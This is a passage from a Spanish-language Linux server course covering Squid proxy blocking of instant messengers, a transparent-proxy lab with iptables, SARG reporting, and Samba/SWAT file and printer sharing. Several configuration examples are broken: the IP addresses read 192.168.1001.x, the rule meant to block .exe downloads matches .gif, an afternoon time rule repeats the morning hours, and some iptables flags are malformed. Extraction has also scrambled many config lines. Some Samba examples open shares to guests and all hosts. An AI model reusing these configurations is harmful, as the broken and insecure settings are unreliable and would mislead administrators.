Como bloquear el acceso a Messenger

Messenger es un servicio que permite la funcionalidad P2P para que dos usuarios intercambien archivos o
hagan chat. Este servicio cambia de puertos con frecuencia y no ha sido fcil bloquearlo en forma
automtica. Para bloquearlo en forma permanente se debe utilizar un ACL de tipo MIME:
acl

MSN

http_access

req_mime_type
deny

-i

^application/x-msn-messenger$

MSN

acl Safe_ports port 591

# filemaker

acl Safe_ports port 777

# multiling http

acl CONNECT method CONNECT

##### Block messenger logins


acl msnlogin dstdomain nexus.passport.com
http_access deny msnlogin
deny_info TCP_RESET msnlogin

##### Block MSN Messenger


acl msnmessenger url_regex -i gateway.dll
http_access deny msnmessenger

239

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

##### Block MSN online chat


acl msnchathttp url_regex -i ^http://chat\.
acl msnchathttp url_regex -i ^http://.*chat.*
http_access deny msnchathttp

#### Blocking Adware


acl adware url_regex -i ^http://.*lzio\.com.*
http_access deny adware
http_reply_access deny adware

##### Block messenger web sites


acl msnoverhttp url_regex -i e-messenger
acl msnoverhttp url_regex -i ^http://.*messenger.*\.com
acl msnoverhttp url_regex -i ^http://.*messenger.*\.ca
acl msnoverhttp url_regex -i ^http://.*messenger.*\.us
acl msnoverhttp url_regex -i ^http://.*messenger.*\.info
acl msnoverhttp url_regex -i ^http://.*messenger.*\.cn
acl msnoverhttp url_regex -i ^http://.*messenger.*\.org
acl msnoverhttp url_regex -i ^http://.*messenger.*\.net
acl msnoverhttp url_regex -i ^http://.*messenger.*\.biz
acl msnoverhttp url_regex -i ^http://.*messenger.*\.fi
#acl msnoverhttp url_regex ^http://.*msg.*\.com
acl msnoverhttp url_regex ^http://.*msg.*\.ca
acl msnoverhttp url_regex ^http://.*msg.*\.us
acl msnoverhttp url_regex ^http://.*msg.*\.info
acl msnoverhttp url_regex ^http://.*msg.*\.cn
acl msnoverhttp url_regex ^http://.*msg.*\.org
acl msnoverhttp url_regex ^http://.*msg.*\.net
acl msnoverhttp url_regex ^http://.*msg.*\.biz
acl msnoverhttp url_regex ^http://.*msg.*\.fr
acl msnoverhttp url_regex -i ^http://.*\.AIM.*
acl msnoverhttp url_regex -i ^http://.*AIM\..*
acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.com

240

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.ca


acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.us
acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.info
acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.cn
acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.org
acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.net
acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.biz
acl msnoverhttp url_regex -i ^http://.*wbmsn.*\.fr
acl msnoverhttp url_regex ^http://64\.12\.163\.136
http_access deny msnoverhttp

##### AIM / MSN domains


acl baddomains dstdom_regex -i .*\.blue\.aol\.com
acl baddomains dstdom_regex -i .*\.icq\.com
http_access deny baddomains

##### Downloads
acl download rep_mime_type ^.*video.*
acl download rep_mime_type ^.*audio.*
http_reply_access deny download

##### Block AOL and YAHOO


acl aolyahoo dstdomain login.oscar.aol.com
acl aolyahoo dstdomain pager.yahoo.com
acl aolyahoo dstdomain shttp.msg.yahoo.com
acl aolyahoo dstdomain update.messenger.yahoo.com
acl aolyahoo dstdomain update.pager.yahoo.com
http_access deny aolyahoo

##### Mime blocking


##### Blocking reqested mine types
acl mimeblockq req_mime_type ^application/x-msn-messenger$
acl mimeblockq req_mime_type ^app/x-hotbar-xip20$

241

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

acl mimeblockq req_mime_type ^application/x-icq$


acl mimeblockq req_mime_type ^.*AIM.*
acl mimeblockq req_mime_type ^application/x-comet-log$
acl mimeblockq req_mime_type ^application/x-pncmd$

##### Blocking sent mime types


acl mimeblockp rep_mime_type ^application/x-msn-messenger$
acl mimeblockp rep_mime_type ^app/x-hotbar-xip20$
acl mimeblockp rep_mime_type ^application/x-icq$
acl mimeblockp rep_mime_type ^.*AIM.*
acl mimeblockp rep_mime_type ^.*AIM/HTTP
acl mimeblockp rep_mime_type ^application/x-comet-log$
acl mimeblockp rep_mime_type ^application/x-pncmd$
acl mimeblockp rep_mime_type ^application/x-chaincast$

##### Setting Access controls


http_access deny mimeblockq
http_reply_access deny mimeblockp

##### Streaming players


acl useragent browser -i ^.*NSPlayer.*
acl useragent browser -i ^.*player.*
acl useragent browser -i ^.*Windows-Media-Player.*
http_access deny useragent

6.0

Como bloquear el bajar archivos con extensin .exe

acl

EXE

http_access

urlpath_regex -i \.gif$
deny

EXE

242

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

7.0

Laboratorio:

Objetivo: Configurar SQUID como TRANSPARENT PROXY

Prerrequisitos:
Suponga que el servidor tiene dos interfaces de red la eth1 con IP vlido 200.93.178.2 para acceso a
Internet, adicionalmente se cuenta con la eth0 como gateway de usuarios con la IP 192.168.1001.254
Se deben tener las siguientes reglas:
a)
b)
c)
d)

Los gerentes, subgerentes y los funcionarios de sistemas pueden tener acceso no restringido a
Internet, sus IP estn desde la direccin 192.168.1001.15 al 192.168.1001.17
Los usuarios del rea administrativa con IPs del 192.168.1001.51 y 192.168.1001.52 pueden salir a
Internet desde las 7:00AM hasta las 12:00M a los sitios definidos en la lista autorizados
Los usuarios del rea de produccin con IPs del 192.168.1001.110 y 192.168.1001.111 pueden
salir a Internet desde las 13:00PM hasta las 18:00PM a los sitios definidos en la lista autorizados
La lista de los sitios autorizados son: www.unixgroup.com.co www.mvaonline.com
www.tarantella.com.co www.tarantella.com www.linux.org y www.unincca.edu.co

Las reglas segn la nomenclatura ACL del archivo /etc/squid/squid.conf seran:


acl IPGerencias
src 192.168.1001.15-192.168.1001.17/255.255.255.255
acl IPAdministrativo
src 192.168.1001.51-192.168.1001.52/255.255.255.255
acl IPProduccion src 192.168.1001.110-192.168.1001.111/255.255.255.255
acl MANIANA
time 07:00-12:00
acl TARDE
time 07:00-12:00
acl SitiosAutorizados
urlpath_regex
www.google.com
www.unixgroup.com.co
www.mvaonline.com www.asogas.org.co www.norgas.com.co
http_access
http_access
http_access
http_access

allow
allow
allow
allow

www.sco.com.co

localhost
IPGerencias
IPAdministrativo MANIANA
SitiosAutorizados
IPProduccion
TARDE SitiosAutorizados

Es importante que la regla http_access deny all este desactivada


Ahora en el explorador indique el servidor proxy y prueba la navegacin.

Paso 1. Configure los acl de squid en el archivo /etc/squid/squid.conf


Se debe definir el nombre del servidor proxy con capacidad de dominios virtuales:
httpd_accel_host virtual

Ahora debe indicar el nmero del puerto que realmente usa el servidor web:
httpd_accel_port 80

Debemos indicarle a squid que funcione como servidor acelerador httpd local y como servidor proxy:
httpd_accel_with_proxy on

Configure Squid para que busque el host:


httpd_accel_uses_host_header on
NOTA: NUNCA ACTIVE LA OPCIN HTTP_ACCEL_SINGLE_HOST ON

Paso 2. Active el servidor como un Gateway

243

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

Active su servidor como un Gateway adicionando la variable IPFORWARDING=yes en el archivo


/etc/sysconfig/network, esto tambin se puede hacer por webmin

Paso 3. Habilite el firewall de filtro de paquetes para redireccionar el puerto 80


Con Netfilter/iptables:
Permitir todos los paquetes de la interfaz local
iptables A INPUT i lo j ACCEPT
Habilitar conexin a servidor Web
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
Habilita la red local a salir hacia internet por la red valida 200.93.178.2
iptables -t nat -A POSTROUTING -j SNAT s 192.168.100.0/24 --to 200.93.178.2
Redireccionar el trfico del puerto 80 al dedicado a squid 3128 suponiendo que la tarjeta de lan es eth0:
iptables -t nat -A PREROUTING i eth0 -p tcp -dport 80 j REDIRECT -to-port 3128
Nota: Se asume que la eth0 es la red LAN
Evite que el servidor squid sea utilizado por personas externas a la organizacin, para ello use las siguientes
reglas:
# *****************************************************
# squid = 3128 - Squid proxy cache
# *****************************************************
iptables -A INPUT -i eth1 -p tcp --dport 3128
-j DROP
iptables -A INPUT -i eth1 -p udp --dport 3128
-j DROP
iptables -A INPUT -i eth1 -p tcp --dport 3130
-j DROP
iptables -A INPUT -i eth1 -p udp --dport 3130
-j DROP
iptables -A INPUT -i eth1 -p tcp --dport 4827
-j DROP
iptables -A INPUT -i eth1 -p udp --dport 4827
-j DROP

244

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

8.0

Reportes de SQUID con SARG

Se descarga la versin 2.2.2 de SARG del sitio http://sarg.sourceforge.net


Descrguela en el directorio /tmp
Procedimiento de instalacin:
1.
2.
3.
4.
5.
6.

cd /tmp
tar zxvf sarg-x.y.z.tar
cd sarg-x.y.z
./configure
make
make install

Para generar los reportes se debe usar el comando sarg, para mayor informacin digite en la consola de
Linux el comando #man sarg.
Ejemplos de generacin de informes:
Informe general con resolucin de nombres. Si desea el informe por direcciones IP quite la opcin -n
#sarg o /root/squid-reports/ -f /var/log/squid/access.log -n

Informe de un usuario en especial


#sarg o /root/squid-reports/ -f /var/log/squid/access.log u usuario

Nota: Webmin permite hacer estos reportes sin bajar a la lnea de comandos.

245

Captulo 10
Asegurando los servicios de red
SAMBA
1.0

Historia de Samba

Samba es la implementacin del protocolo SMB que utilizan los sistemas operativos de Microsoft para
compartir archivos e impresoras.
Microsoft e Intel desarrollaron el sistema de protocolo SMB en 1987 y posteriormente Andrew Tridgell lo
integr a los distintos sistemas Unx y despus a Linux. Hoy Samba se puede ejecutar sobre Unixware,
Openserver, y cualquier sabor de Linux.
La Suite de Samba est formada por varios componentes. El demonio smbd proporciona los servicios de
archivo e impresin a los clientes SMB, el archivo de configuracin para este demonio es smb.conf.
El demonio nmbd suministra el Servicio de Nombres de Dominio de NetBios ( Sistema Bsico de
Entrada/Salida para Red ) as como soporte para la navegacin entre carpetas en disco duro.

2.0

Que hace samba

Samba es una coleccin de programas que implementan el protocolo SMB (Session Message Block). Este
protocolo es usado por Microsoft Windows 3.11, NT y 95 para compartir discos e impresoras. Usando el
paquete de herramientas Samba creado por Andrew Tridgell, las mquinas UNX y Linux pueden compartir
discos e impresoras con servidores Windows.

246

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Qu hace Samba ?
Hay cuatro cosas que se pueden hacer
con Samba:
1. Compartir una unidad de Linux con
mquinas Windows.
2. Compartir una unidad de Windows con
mquinas Linux.
3. Compartir una impresora de Linux con
mquinas Windows.
4. Compartir una impresora de Windows
con mquinas Linux.
Slide 2

Este protocolo es ms conocido como Lan Manager o Netbios.


Otros servicios que pueden ser implementados gracias al uso de un servidor Samba son:

3.0

Proveer servicios de nombres windows como broadcast y WINS


Permitir el examinado ( Browsing ) de recursos de red a clientes Windows
Crear grupos de trabajo o dominios Windows
Imponer autenticacin con usuario y password a los clientes

Archivos de configuracion

smb.conf: Configuracin en modo carcter:


La configuracin de smbd se describe en el archivo /etc/samba.d/smb.conf, este archivo se asemeja mucho
a un script *.ini bajo Windows que permite justamente a los administradores Windows configurar este tipo
de servicio. Este archivo est bien documentado pero es largo y requiere de algn conocimiento previo para
efectuar modificaciones.
El archivo smb.conf es un archivo de configuracin que puede ser configurado y administrado por el
programa SWAT del acrnimo Samba Web Administrator Tool, sin embargo es bueno conocer su
estructura y manejo en el modo caracter.

247

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Archivos de Configuracin
 /etc/samba.d/smb.conf
 En este archivo tambin se configura
el demonio nmbd que provee servicios
como nameserving y browsing.
 El demonio smbd permite compartir
ficheros e impresoras gestionando el
servicio de autentificacin as como
los derechos de los usuarios.

Slide 2

El archivo smb.conf esta formado por secciones y parmetros:

Secciones
Una seccin empieza con el nombre dentro de corchetes y contina hasta que la siguiente seccin comienza.
Las secciones contienen parmetros de la forma:
name = value
Toda lnea que inicie con punto y coma (;) o smbolo numrico (#) es
ignorada, adems cualquier
inclusin en la lnea del carcter \ indica que la lnea contina en la lnea siguiente de la manera
acostumbrada en UNIX.
Algunas de las secciones ms importantes de este archivo de configuracin son:
[global]
Los parmetros en esta seccin se aplican al servidor en su totalidad o son valores por defecto para las
secciones que no definen especficamente ciertos items, veamos un ejemplo:
# Global parameters
[global]
workgroup = BOGOTA
netbios name = LABORATORIO
server string = Samba Server
bind interfaces only = yes
interfaces=eth0, eth0:1, lo
security = users
encrypt passwords = Yes
username map = /etc/samba.d/smbusers
password level = 8
username level = 8
log file = /var/log/samba.d/smb.%m
max log size = 200
socket options = TCP_NODELAY SO_RCVBUF=8192 \ SO_SNDBUF=8192

248

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

logon path = \\%L\Profiles\%U


dns proxy = No
hosts allow = all
printing = cups
print command = /usr/bin/lp -d%p -oraw %s; rm %s
lpq command = /usr/bin/lpstat -o%p
lprm command = /usr/bin/cancel %p-%j
queuepause command = /usr/bin/disable %p
queueresume command = /usr/bin/enable %p
NOTA: Si se desea habilitar samba como un controlador de dominio debera definir las siguientes variables:
domain logons = Yes
preferred master = yes
domain master = yes
[homes]
Si una seccin llamada home se incluye en el archivo de configuracin, los servicios samba que conectan a
los clientes con sus directorios home pueden ser creados por el servidor.
Cuando se hace la peticin de conexin, se exploran las secciones existentes. Si se encuentra una
semejante, se utiliza. Si no se encuentra ninguna semejante, el nombre solicitado de la seccin se trata
como nombre de usuario y se busca en el archivo local de contrasea. Si existe el nombre y se ha dado la
contrasea correcta, entonces una seccin es creada reproduciendo la seccin [ home ].
Algunas modificaciones son hechas a la nueva seccin, por ejemplo el nombre cambia de home al
username localizado. Si no se dio ninguna ruta, esta se fija al directorio home del usuario.
Un proceso similar ocurre si el nombre solicitado de la seccin es home, excepto que el nombre de la
seccin no se cambia al del usuario de peticin.
Un ejemplo real de esta seccin se muestra a continuacin:
# Global parameters
[homes]
comment = Home Directories
path = %H/Samba
username = %S
valid users = %S
writeable = Yes
create mask = 0750
only user = Yes
browseable = No
available = No
[printers]
Esta seccin trabaja como la seccin [ home ] pero para impresoras.
Un ejemplo real se muestra a continuacin:
# Global parameters
[printers]
comment = All Printers
path = /var/spool/samba
create mask = 0700
printable = Yes
browseable = No

4.0

Parmetros

Los parmetros definen atributos especficos de una seccin. Algunos parmetros son especficos para la
seccin [global] ( ej security ), mientras que otros pueden ser utilizados en todas las secciones ( ej create
mode ).

249

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Muchas de las cadenas que se encuentran en el archivo de configuracin pueden ser sustituidas. Por
ejemplo, la opcion path = /tmp/%u puede interpretarse como path = /tmp/john si el nombre de
usuario que se ha conectado es john.
Las variables de sustitucin ms comunes son:

Variable de Sustitucion
%S
%P
%u
%g
%U
%G
%H
%v
%h
%m
%L
%a
%I

Descripcin
Nombre del servicio actual
Directorio raiz del servicio actual
Nombre de usuario del servicio actual
Nombre del grupo primario %u
Nombre de usuario de la sesion
Grupo primario de %U
Directorio raiz del usuario dado por %u
Version de Samba
Hostname de Internet en el cual samba se esta
ejecutando
Nombre NetBios de la maquina del cliente
Nombre NetBios de la maquina servidor
Arquitectura de la maquina remota
Direccion IP de la maquina del cliente

Name resolution y browsing son manejadas por nmbd.


Estos dos servicios bsicamente envuelven la administracin y distribucin de las listas de nombres de
NetBIOS
Name resolution toma dos formas: emisin y punto-a-punto.
Una mquina puede usar uno o ambos mtodos, dependiendo de su configuracin.
Resolucin de emisin (Broadcast): Es la ms parecida al mecanismo original NetBIOS. Es utilizada por las
redes locales, funciona a travs del envo de un nombre de mquina en la red y luego espera el feedback del
IP de dicha mquina, esto genera trfico de emisin pero est restringido a la LAN.
POINT-to-POINT: funciona a travs de intermediarios de servidores NBNS (NetBIOS Name Service). Los
clientes envan sus nombres de NetBIOS y las direcciones IP al servidor NBNS, donde se guarda la
informacin en una simple base de datos. Cuando un cliente quiere hablar con otro, enva el nombre del otro
cliente al servidor NBNS. Si el nombre est en la lista, el NBNS regresa una direccin IP.
Clientes en diferentes subredes pueden compartir todos los mismos servidores NBNS pues el mecanismo
punto-a-punto no est limitado a la LAN respectiva. NBNS es similar a DNS, la lista de nombres de NBNS es
dinmica y hay pocos controles para asegurar que solo clientes autorizados pueden registrar nombres y
conflictos ocurren con facilidad.
Finalmente esta el servicio de browsing manejado por el nmbd de Samba. Esto no es el web browsing
comn, sino una lista de servicios hojeable(archivos y print shares) ofrecidas por las computadoras en una
red.
En una LAN, las computadoras eligen cual de ellas ser el Local Master Browser (LMB). El ganador se
identifica a s mismo al exigir un nombre especial NetBIOS.
El trabajo de LMB es mantener una lista de servicios disponibles y es esta lista la que aparece cuando se
escoge la opcin Network Neighborhood en windows.
Adems de LMBs, existen Domain Master Browsers (DMBs). Los DMBs coordinan listas de browse a lo largo
de dominios NT, aun en redes enrutadas. Usando el NBNS, un LMB localizar su DMB para intercambiar y
combinar listas de browse. As, la lista de browse es propagada a todos los hosts en el Dominio NT.

250

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

5.0

Configuracin Utilizando SWAT ( Samba Web Administrator Tool ).

SWAT es una herramienta de configuracin del archivo /etc/smb.conf que utiliza un navegador Web como
interface. SWAT agrupa la documentacin sobre Samba smbd, nmbd y sobre todos los servicios asociados a
estas aplicaciones, permite igualmente agregar archivos impresoras compartidos, lanzar demonios smbd y
nmbd, verificar las conexiones de los recursos compartidos y gestionar las claves.
Este programa viene habilitado por defecto en el WEBMIN en la pestaa SEVERS.
Tambin puede accederlo por netscape digitando en el campo de la direccin (localhost:901):

Opciones:

Home:
Aqu se encuentran todas las pginas de tipo man o manuales y documentacin sobre Samba.
Existen 5 categoras :

los daemons o servidores


las herramientas de administracin
los utilitarios generales
los archivos de configuracin
miscelnea

Globals:

Reagrupa
parmetros de configuracin de un servidor Samba.
Existen 3 botones en la parte superior de la pgina :
El primero, Commit Change, valida el conjunto de cambios.
El segundo, Reset Values, permite inicializar el conjunto de campos .
El ltimo, Advanced View, permite entrar en un modo de administracin ms avanzado.

251

el

conjunto

de

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

La configuracin de Samba contiene 6 secciones principales: las opciones de base, la seguridad, las
conexiones, configuracin del protocolo, la navegacin y los servidores WINS.
Opciones de base

En

esta

parte, se definen los campos principales de identificacin de la mquina en la red. Corresponden a los datos
que aparecen en la ventana Network Neighborhood bajo Windows.
Workgroup: Bogota (este es el nombre de nuestro dominio o grupo de trabajo)
netbios name Laboratorio (este es el nombre que se vera en el entorno de red)
server string Samba Server (una breve descripcin)
Opciones de seguridad

En esta seccin, se trata de configurar la seguridad para el acceso a datos compartidos. La opcin security
sirve para elegir el modo principal de seguridad entre cuatro niveles (share, user, server y domain).
La administracin del encriptamiento de las claves en encuentra en este nivel. La ayuda a la configuracin
est bien gestionada por cada una de estas opciones, accediendo as directamente al prrafo adecuado de la
pgina man en /etc/smb.conf.
La definicin de una cuenta invitado (guest account) permite el acceso a los recursos sin tener que ingresar
una clave. Para ello habra que definir la seguridad en el nivel share. Finalmente, se puede prohibir el
acceso a las zonas que se comparten.
En la versin avanzada de la configuracin, se puede definir una lista de usuarios que tengan acceso a los
recursos compartidos, administrar las claves y definir mscaras de derechos pre-configuradas en los archivos
(equivalente al comando umask).
Security SHARE (esta es quizs la forma mas fcil de compartir recursos)
Guest account nobody (esta cuenta permite que cualquier usuario pueda ver el servidor linux)
Host allow all (esta opcion permite que cualquier computadora pueda ver muestro servidor)

252

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Shares
Este tercer cono representa los elementos compartidos.

Para crear un archivo


el campo que esta
Share y escribir el
directorio, luego presionar el botn Create Share.

compartido, debe ir al
junto al boton Create
nombre
del
nuevo

En la pantalla siguiente, aparecer un cuadro de opciones bsicas y de seguridad, las cuales se configuran de
la siguiente manera:

Comment : Directorio de
prueba
path : /directorio (la
ubicacin
de
nuestro
directorio)
guest account : nobody
read only : no (los usuarios podrn leer y escribir)
guest ok : yes (todo mundo puede ver este directorio)
host allow : all (cualquier computadora puede ver este directorio).
Finalmente se guardan los cambios presionando el botn Commit Changes
Printers
Esta seccin representa las impresoras que estn compartidas segn el mismo principio del manejo de
archivos.

253

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Primero se crea el directorio printer escribiendo lp en el campo que esta junto a Create Printer y luego click
sobre el boton Create Printer.
En la siguiente pantalla se configurarn las opciones bsicas del manejo de impresoras:

Comment : laserjet (este es solo un comentario)


path : /var/spool/samba
guest account : nobody
host allow : all
printer name : lp
No se debe olvidar guardar los cambios presionando el boton Commit Changes
Ahora para que se ejecuten los cambios, el demonio de samba debe reiniciarse. Una forma de hacerlo es
entrando al Webmin, luego a Servers - CONFIGURAR EL SERVIDOR SAMBA y al final de esta pantalla hacer
click en restart en los dos demonios de samba.
Otros conos como view y status permiten mirar el archivo de configuracin y el estado de las conexiones al
servidor samba.

I m p r e s i n
I m p r e s i n L o c a l y R e m o t a

A d ic io n a r u n a I m p r e s o r a
C o m p a r t ir u n a im p r e s o r a
I m p r e s i n d e u n d o c u m e n t o e n
e l e n t o r n o g r f ic o y e n ln e a d e
c om and os.

S lide 2

Si ya se ha configurado la impresora por ejemplo una HP LaserJet 4L - , pero la impresin no funciona, se


aconseja entonces ir al directorio /etc y buscar el archivo printcap, permita que el dueo tenga premisos de
ejecucin: puede hacerlo de la siguiente forma: chmod u+x /etc/printcap. Reinicie el servicio ( samba
restart ) y pruebe nuevamente la impresin.
Imprimir un documento desde StarOffice:
En staroffice muchos documentos no estn concebidos para ser impresos, como por ejemplo la ayuda de
staroffice, grficos para pginas de interntet, presentaciones y similares. La impresin se puede controlar

254

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

sobre todo en el dilogo imprimir, que se encuentra bajo el comando con el mismo nombre en el men
Archivo.

C o m a n d o s y T ru c os


sm b c lie n t
sm b r u n
t e st pr n s
t e st pa rm s
sm b .c o n f
SW AT

S lide 2

Impresin en lnea de comandos:


Una vez se ha configurado la impresora, lo nico que debe hacerse para imprimir un archivo, es ejecutar el
siguiente comando: lpr < archivo local >.

6.0

Comandos

# smbclient : Clientes Linux/Unix acceder a los servicios del servidor SMB.


# smbclient -N -L alguna_maquina
# smbclient L localhost U%
Para entrar al recurso disco duro D de la maquina cfcva001 digite:
# smbclient //cfcva001/d
Mostrar la configuracin actual.
#
#
#
#

smbrun : Programa que permite al servidor correr programas externos.


testprns : Programa que prueba el acceso al servicio de impresin.
testparms : Programa que prueba el archivo de configuracin (smb.conf).
smb.conf : Es el archivo de configuracin de Samba.

255

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

7.0

Trucos

Hay una manera diferente de acceder a Swat y es por medio de un navegador como Internet Explorer,
Netscape, Konkeror, etc, al digitar el URL HHTUTUhttp://<localhost>:901UUTTHH.
Si esto no funciona entonces se deben agregar dos lneas en los archivos de configuracin que se encuentran
en /etc. Primero, hay que agregar en el archivo /etc/services la lnea siguiente:
swat 901/tcp
El nmero de puerto especificado no tiene importancia, mientras que ste no se encuentre ocupado y que
sea inferior a 1024. Luego se debe modificar el archivo /etc/inetd.conf, agregando lo siguiente :
swat stream tcp nowait.400 root /usr/sbin/swat swat
Es suficiente con reiniciar el servicio inet a travs del comando kill -1 inetd kill -HUP inetd. Luego en el
explorador web se escribe la URL http://<localhost>:901, localhost ms el nombre de su mquina en el
servidor Samba.
Compartir archivos en entornos Windows: Samba
El siguiente documento es utilizado para la configuracin de Samba bajo Linux en sus diferentes
configuraciones con las utilidades de administracin Webmin y SWAT.

Requerimientos mnimos:
Los siguientes paquetes son requeridos para la instalacin de Samba:
glibc
Libpam
Lipwd
Cups
Openssl

Configuracin Samba por Webmin


La configuracin de Samba puede ser lograda a travs del Webmin, del mismo modo que por medio de la
interfaz caracter. El archivo de configuracin de Samba es le mismo en ambos casos
(/etc/samba.d/smb.conf) y la nica diferencia radica en el modo en que se realizan las modificaciones.
Adems para mayor referencia, existe el archivo /etc/samba.d/smb.conf.sample que es un ejemplo de
configuracin de Samba. La configuracin a travs de Webmin es grfica y en un entorno ms amigable al
usuario. Para ello deberemos ingresar al Webmin e ir a la seccin de "Servers".

Dentro de esta seccin encontraremos muchos de los servicios que nos proporciona Linux, pero aquel en el
que estamos interesados es Samba, por lo tanto iremos a "Samba Windows File Sharing" en donde vemos
que se encuentra la configuracin de los "Recursos del sistema", siendo estos los directorios o impresoras a
compartir; las "Opciones de configuracin", donde configuraremos el servidor (controlador de dominio,

256

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

manejo de claves encriptadas, conectividad a la red, etc.) y un botn para reiniciar el servidor una vez
modificado alguno de sus parmetros.

* Compartiendo directorios:
Crearemos un directorio compartido, a travs del botn "Create a new share".

Podemos ver que contiene los mismos parmetros de configuracin que a travs de la consola, siendo:
Share name
Directory to share
Share comment

El nombre del recurso a compartir


El directorio del sistema a compartir
Descripcin del directorio

Del mismo modo encontramos opciones de configuracin respecto de la seguridad, convencin de nombres u
otras alternativas. Dicha configuracin ser por interfaz WEB, y las modificaciones que se realicen se
grabaran en el archivo /etc/samba.d/smb.conf.

257

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Finalmente cualquier usuario desde el "Entorno de Red" de su computadora Windows, puede acceder a los
recursos compartidos de nuestro servidor Linux.

Compartiendo impresoras:

Para configurar una impresora compartida, seleccionaremos en la pantalla principal de Samba el botn
"Create a new printer share"

Como en el caso de los archivos compartidos, en la configuracin de las impresoras tambin podemos
configurar la seguridad y dems opciones de impresin. Los parmetros ms importantes a tener en cuenta
son:
Share name

Nombre de impresora compartida

Unix printer

Seleccionaremos la impresora en Linux

Spool directory

Es el directorio de los archivos de spool de impresin. Por default


/var/spool/samba

Available

Indica si la impresora esta disponible para todos los usuarios

Comment

Descripcin de la impresora

Para poder conectarse desde una computadora Windows a nuestra impresora de red en Linux, deber abrir
el "Administrador de impresin" y buscar la impresora como una impresora de red, del mismo modo que lo
hacemos cuando queremos conectarnos a una impresora compartida Windows.
- Configuracin del servidor
Las opciones de configuracin del servidor son:

258

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Siendo las opciones necesarias en la configuracin:

UNIX Networking

Windows Networking *

Definicin de las interfaces de red a utilizar con Samba.


Networking interfaces El valor por omisin es automtico que incluye todas
las interfaces de red del servidor.
Socket Options

Configuracin de parmetros de TCP


SO_SNDBUF 8192
SO_RCVBUF 8192

Workgroup

Definicin del nombre de dominio del grupo de


trabajo Windows

Server description

Descripcin del servidor

WINS

Define el modo de trabajar con WINS. Las opciones


disponibles son:
No utilizar WINS
Ser servidor WINS
Conectarse a un servidor WINS

Server Name

Nombre del servidor. El valor default es el nombre del


servidor.

* En esta seccin se configura Samba como un controlador de dominio. Para ello es necesario crear los
directorios de "netlogon" y "profile" y habilitar la seguridad a nivel de usuarios con servicio de dominios
habilitados.

Authentication

Use
password

encrypted Para aquellos servidores que trabajen con passwords


encriptadas (win98, NT, 2000)

Use mapping

Definicin de uno o ms usuarios Windows a un usuario


UNIX

Unix Print Style

Define el demonio de impresin. En el caso de Linux 3.1


es CUPS

Printcap file

Por omisin es /etc/printcap, pero permite especificar


otro archivo

Printing Options

- Conectarse a un servidor Windows:


Del mismo modo que podemos compartir archivos bajo Samba, tambin podemos acceder a directorios
compartidos. A diferencia de DOS Windows no identificamos el directorio compartido como una unidad de
red ( F: , por ej. ) sino que lo identificamos a travs de un directorio.
Para conectarse a un directorio compartido, ingresaremos al Webmin en "System -> Disk and Network
Filesystems"

259

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Podemos ver que se encuentran especificados todos los Filesystems que se encuentran utilizados por el
sistema. No estn indicados solo los discos locales, sino tambin se pueden especificar recursos compartidos
de la red como ser filesystems NFS o en este ejemplo "Windows Networking Filesystem", que es un
directorio compartido Windows.
Asi como podemos acceder a un directorio Windows a traves del Webmin, podemos hacerlo con el comando
mount:
mount
t
smbfs
o
username=usuario,password=clave
\
UU//PC_Windows/dir_compartido
/directorio_localUU
En este ejemplo accederemos a un directorio compartido Windows :

En donde el "Punto de montaje" es el equivalente a la unidad de red en Windows. Cuando deseemos acceder
a la computadora remota, solo debemos acceder al directorio indicado all. Es de hacer notar que el
directorio debe estar vaco.

260

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Configuracin de conexin:
Samba puede utilizarse en alguno de los siguientes modos :
Compartir archivos con computadoras Windows 95
Compartir archivos con computadoras Windows 98
Compartir archivos con computadoras Windows XP
Integrarse a un dominio.
Ser controlador de dominio nico (PDC)
Dado que algunas de las opciones ( Integrarse a un Dominio y actuar como PDC) que necesitamos configurar
no se encuentran en Webmin, utilizaremos SWAT (Samba Web Administration Tool) que nos permitir las
mismas funciones y mas. Para iniciarlo debemos verificar que el paquete SWAT (rpm q swat) se encuentre
instalado e iniciar la interfaz en http://localhost:901

8.0

Compartir archivos con computadoras Windows

Esta configuracin es la primera desarrollada por Samba y solo debemos tener configurar estos elementos:
Global -> Nivel de Seguridad = Share
Global -> Encripcin de passwords = No
Todos los usuarios a los cuales se les permita el ingreso al sistema deben tener habilitada su clave, en el
archivo smbpasswd
Compartir archivos con computadoras Windows 98:
Esta configuracin es la segunda utilizada por el sistema y mantiene una equivalencia de usuarios contra
Windows 98 o Windows 95 OSR2. Al configurarlo cambian algunos de los parmetros anteriormente
mencionados
Global -> Nivel de Seguridad = User
Global -> Encripcin de password = Yes
Todos los usuarios a los cuales se les permita el ingreso al sistema deben tener habilitada su clave, en el
archivo smbpasswd, o en el rea de claves.
Integracin a un dominio:
Para poder integrarse a un dominio NT (NT4 W2K) debemos tener en cuenta la siguiente configuracin:
Global -> Workgroup Name = Nombre de dominio
Global -> Netbios names = Nombre del servidor
Global -> Security = Domain
Global -> Password server = *
Global -> Encrypt passwords = Yes
Global -> User map = /etc/samba.d/smbusers
Controlador de dominio nico (PDC):
